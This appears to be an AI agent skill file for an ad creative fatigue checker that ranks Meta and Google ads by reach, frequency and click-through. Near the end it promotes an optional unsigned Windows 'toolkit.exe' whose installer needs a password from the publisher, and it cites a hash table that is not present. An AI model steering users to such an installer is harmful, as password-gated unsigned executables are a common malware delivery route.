Ad Creative Fatigue Checker

Scores ad-level reach, frequency, click-through and spend data to rank the creatives that are wearing out, using the platform's own numbers. Written for US performance media buyers and growth teams running Meta and Google display and video ads.

Use this skill when someone asks for:

• ad creative fatigue checker
• ad frequency fatigue report
• creative refresh scoring
• ad performance decay check

The job

Teams notice fatigue when the account gets expensive, because nobody looks at reach and frequency per ad until the month is already lost.

What you get

1. Collect the ad-level export with reach, frequency, click-through rate, cost per thousand and spend.
2. Score every ad against the weighting the team agreed on before the numbers were pulled.
3. Rank the ads and split them into refresh, hold and watch groups.
4. Write the refresh brief for the worst performers, using the same offer and a new angle.

Output contract:

• ranked_table - every ad with its score and the metrics that drove it
• refresh_list - the ads to retire or rebuild, in order
• hold_list - the ads still worth spending against
• watch_list - the ads that need one more week of data
• refresh_brief - the new angle for the top creative, with the offer kept the same

US specifics that matter

• Google Ads reports reach and frequency for display and video campaigns, with average impressions per user over 7 day and 30 day windows, and only viewable impressions count toward frequency caps.
• Google's reach and frequency metrics only populate for campaigns with more than 10,000 impressions, and the maximum date range for them is 92 days.
• Google's reach and frequency metrics do not cover Search, Shopping or Performance Max campaigns, so a fatigue check on those has to use the platform's own trend columns.
• Meta's A/B testing guidance says to change one element at a time and to run a test for at least two weeks, which is the floor for judging whether a new creative is actually better.

Guardrails (hard rules)

• Never invent reach, frequency or conversion numbers; the checker only ranks what the export contains.
• Never compare a Meta frequency figure with a Google frequency figure as if they were the same measurement.
• Never declare a fatigue threshold as an industry benchmark; the team sets the threshold before the data is pulled.
• Never pause, edit or publish an ad from this skill.

Quickstart

1. Fill in the brief

templates/ad-levels.csv is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

python3 scripts/score_creative_fatigue.py --input ad-levels.csv --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/creative-fatigue-signals.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

Signals the platforms give you

• Reach and frequency per ad set on Meta; reach and average impressions per user on Google display and video.
• Google reports 7 day and 30 day frequency windows and a frequency distribution from 1+ up.
• Frequency capping on Google display campaigns sets impressions per user per day, week or month.
• Frequency is a delivery fact, not a benchmark: decide the threshold before pulling the numbers.

Reading the decay

• Frequency rising while click-through rate falls usually means the audience has seen the ad too often.
• Rising cost per thousand with flat reach points at auction pressure, not at the creative.
• Compare the same metric over the same window each time; a week-over-week mix is not a trend.

Refreshing without resetting

• Change the creative and hold the offer, the audience and the landing page steady.
• One element per test, and at least two weeks of run time.
• Write the new angle down before the new asset is produced.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows multi-tool app for the workflows in this catalog, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Check the download before you run it. PowerShell:

Get-FileHash .\multitool.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start multitool/toolkit.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.

The installer asks for a password; ask the publisher for it before you start.

Files in this bundle

• SKILL.md - this file
• references/creative-fatigue-signals.md - What the platforms report about fatigue and how to read it
• templates/ad-levels.csv - the brief to fill in
• scripts/score_creative_fatigue.py - the working script

Verify the bundle

python3 scripts/score_creative_fatigue.py --input ad-levels.csv --out ./out

Related

• AI Creative Studio - one brief into ad copy, social posts and video scripts.
• B2B Lead Research Agent - find the US accounts to run this against.
• AI Trading - research the tickers of public competitors before you write comparisons.
• Windows Multi-Tool Suite - one Windows kit that sets up all three workflows in a single folder.